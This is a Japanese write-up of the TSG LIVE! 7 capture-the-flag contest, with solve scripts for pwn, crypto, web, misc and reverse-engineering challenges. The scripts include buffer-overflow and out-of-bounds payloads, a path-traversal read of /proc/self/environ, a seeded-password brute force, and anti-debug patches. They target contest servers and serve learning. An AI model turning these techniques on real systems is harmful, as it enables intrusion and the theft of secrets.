TSG LIVE! 7 CTFのWriteup

TSG製のCTFは面白いというか他のCTFがあんま面白くないことが知られてきた今日この頃ですが、駒場祭か5月祭か*1のTSG LIVEによるCTFが平日に放り込まれました。たぶん私は社会人なのですが、フルフレックスとかいうモンハンとジュラシックパークがコラボしたみたいな名前の制度があるので参加できました。 TSG LIVEといえば昔、pwn始めたての頃に参加してpwnの最初の問題とチート問みたいなのしか解けなくて泣いていた記憶や、チーム戦でsushidaが時間内に解けずに石と卵を投げられた記憶があります。

なんか最近ソロでCTFやりたい欲が出てきたので今回はソロで参加しました。チーム名*2は開始5分前に決めたのでℹ️❤️🐻です。熊はそこまで好きじゃないのにℹ️❤️🐻です。*3 自分の中ではツキノワグマ < シロクマ < ヒグマの順にランクが上がります。熊はそこまで好きじゃないので他の種類の熊はあんまり知りません。*4

bitbucket.org

[pwn] PWELCOME
[pwn] BF sandbox
[Crypto] Triplet Luna
[Crypto] Triplet Sol
[Web] Sanity Check
[Misc] PPAP
[Rev] PoweredEvilOnline
おわりに

main関数を見ると1秒以内にinteger overflow + buffer overflowだと分かるのでそのままexploitを書きます。

from ptrlib import *

elf = ELF("./chall")

sock = Socket("nc chall.live.ctf.tsg.ne.jp 30007")

sock.sendlineafter("> ", str(0xfffffff8))
payload = b"A" * 0x28
payload += p64(elf.symbol("win"))
sock.sendlineafter("> ", payload)

sock.sh()

まずソースコードを開くと1秒以内に分かることとして

brainfuckのインタプリタであること
カーソルがテープの範囲内にあるかチェックしていないこと
各命令の呼び出しに関数テーブルを使っていること

などがあります。すると気になるのはテープと関数テーブルの関係なので、次の3秒で確保している箇所を探します。

    inst_handlers = calloc(sizeof(void*), 256);
    mem = calloc(sizeof(char), NMEM);
    code = calloc(sizeof(char), NCODE);
    table = calloc(sizeof(int), NCODE);

関数テーブルの方がテープより先に確保されているので負の方向にカーソルを動かせば良さそうです。あとはgdbで具体的なオフセットと、値をどれだけ変更すればwin関数に向くかを調べると終了します。

from ptrlib import *

elf = ELF("./chall")

sock = Socket("nc chall.live.ctf.tsg.ne.jp 30008")

payload  = "<"*0x528
payload += "+" * (0x109 - 0x88)
payload += "[]"
sock.sendline(payload)

sock.sh()

先にTriplet Solに取り組んでいたのですが、Hastad Broadcast Attackできないすね〜って言って先にこっちを見ました。そしたらHastad Broadcast Attackできました。

import gmpy

def chinese_remainder(pairs):
    N = 1
    for a, n in pairs:
        N *= n

    result = 0
    for a, n in pairs:
        m = N//n
        d, r, s = gmpy.gcdext(n, m)
        if d != 1:
            raise "Input not pairwise co-prime"
        result += a*s*m

    return result % N, N

def hastads_broadcast_attack(e, pairs):
    x, n = chinese_remainder(pairs)
    return gmpy.root(x, e)[0]

pairs = [
    (C1, N1),
    (C2, N2),
]
print(int.to_bytes(int(hastads_broadcast_attack(11, pairs)), 1024, "big"))

なんでe=11なのに暗号文2つで解けたのかはよく分かってないです。

$c_{1} = m^{e} \mod pqr$
$c_{2} = m^{e} \mod qrs$

がと剰余が与えられます。とりあえずgcdで $p, s$ が取り出せるので取り出しました。そうすると

$c_{1}' = m^{e} \mod p$
$c_{2}' = m^{e} \mod s$

が手に入るような気もしました。合ってるかは知らん。これに対してHastad Broadcast Attackしようと頑張りましたが答えは出てきませんでした。あれよく見たらe個暗号文がいるのでダメピヨですね。

Web問の返答を待っている間に見直すと、 $N=p, s$ のときのRSAってことにならんかな？なるかな？みたいに思います。 $\phi(p)$ は自明に $p-1$ なので $d$ が計算でき、剰余 $p,s$ 上でRSAが解けます。最後にこれを中国人剰余定理に入れると答えが出てきました。

from ptrlib import *
import gmpy
qr = gmpy.gcd(N1, N2)
p = N1 // qr
s = N2 // qr

d = inverse(65537, p-1)
m1 = pow(C1, d, p)
d = inverse(65537, s-1)
m2 = pow(C2, d, s)
m = crt([(m1, p), (m2, s)])
print(int.to_bytes(int(m[0]), 1024, 'big'))

中国人剰余定理が出てくると自分が何してるか分からなくなる。什么鬼

Webは苦手なのですが、ソースコードが短かったのとファイルシステムほげほげ問っぽかったので見ました。脆弱性としては乱数取ってくるコードに任意ファイルopenがあります。

const stream = fs.createReadStream(`/dev/${source}`, {end: count * 4});

これに対して

data.readUInt32BE(i * 4) % n + 1

を任意の個数貰え、nは指定できます。

n=0x100000000で終わりじゃーんと思ってたら次のチェックがありました。そ、そんな。

if (message.length >= 7) {
    return 'Too long!';
}

一応次のチェックを通ればフラグが貰えます。

if (sum === 77777) {
      return `Jackpot!!! ${flag}`;
}

これを実現するには例えばnを1にして77777*4バイト以上あるファイルを指定すれば良いですが、先程のチェックのため77777は渡せません。ということで別の方法を考えます。

任意の剰余から元の値を特定するといえば昔NITAC miniCTFで出題した問題と同じなので、中国人剰余定理を使います。今回CRT多いっすね。大家好

ソースコードちゃんと読んでない人間なのでflag.txtというファイルがフラグだと思っていました。 /app/flag.txtにファイルがあるのは初期段階で分かっていたので読みましたが、配布ファイルと同じフラグが出てきました。運営に聞いたら「それ関係ない」とのことなのでコードを見返したら環境変数からフラグを取っていました。終わり。

6文字制限で10*4バイト以上先を読む必要があるので最初の素数は991にしました。あとはCRTが適用できるまでprev_primeを回します。

from ptrlib import *
import requests
import json
import gmpy
import re

XXX = 62
n = 1
p = 991
pairs = [[] for i in range(XXX)]
while n < 0x100000000:
    payload = {
        "source": "../proc/self/environ",
        "message": f"{XXX}d{p}"
    }
    
    URL = "http://chall.live.ctf.tsg.ne.jp:14253/"
    r = requests.post(URL,
                      headers={"Content-Type": "application/json"},
                      data=json.dumps(payload))
    x = re.findall("(\d+)", r.text)
    nums = x[:-1]
    n *= p
    for i, x in enumerate(nums):
        pairs[i].append((int(nums[i]), p))
    while True:
        p -= 1
        if gmpy.is_prime(p):
            break
flag = b""
for pair in pairs:
    flag += int.to_bytes(crt(pair)[0]-1, 4, 'big')
print(flag)

srand(time(NULL));による乱数でパスワードを作ってzipを暗号化しているので、圧縮時刻からパスワードが分かります。一番の問題はAES使ってるのでzipfileやzipコマンドで解凍できないことです。 7zでコマンドラインからパスワード渡す方法を調べて投げます。

import ctypes
import os

libc = ctypes.CDLL("../../libc-2.31.so")

s = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
for i in range(-60, 60):
    libc.srand(1637532720 + i)
    password = ""
    for j in range(15):
        password += s[libc.rand() % len(s)]

    os.system(f"7za x -aoa -p{password} flag.zip")
    with open("flag.txt", "rb") as f:
        buf = f.read()
    if buf:
        print(buf)
        exit()

IDAで開いてぱっと見て分かるのは

radareやgdbがシステムに存在したら死ぬ
gdbでトレースしていたら死ぬっぽい処理がある気がする（ちゃんと読んでない）
powerってファイルが存在して、その内容が特定の値と一致していなければ死ぬ
sleepがいっぱい

IDAで上のanti-debug処理を全消し＆sleepのPLTをretで上書きして、次にgdbで動かすと分かるのは

powerってファイルと思わせて実は自己バイナリを見ているっぽかった
何かしらんけどcmpでフラグを1文字ずつチェックしている関数がある

とりあえずパッチ後のファイルでフラグチェックに到達するようにし、フラグチェックで死なないように調整しつつフラグを読むgdb スクリプトを書けば終わりです。

import gdb

gdb.execute("break *0x400f5f")
gdb.execute("run")

flag = ""
while True:
    al = gdb.execute("p/x $dl", to_string=True).strip().split("= ")[1]
    flag += chr(int(al, 16))
    print(flag)
    gdb.execute("set $al=$dl")
    gdb.execute("continue")

パッチ：

This difference file was created by IDA

PoweredEvilOnline
0000000000000770: FF C3
000000000000111D: E8 90
000000000000111E: AA 90
000000000000111F: FE 90
0000000000001120: FF 90
0000000000001121: FF 90
000000000000116B: E8 90
000000000000116C: C6 90
000000000000116D: FC 90
000000000000116E: FF 90
000000000000116F: FF 90
00000000000011D6: E8 90
00000000000011D7: C6 90
00000000000011D8: FC 90
00000000000011D9: FF 90

東京大学はN月祭（Nは1以上12以下の整数）を開催してください。TSG LIVEが年12回になるので。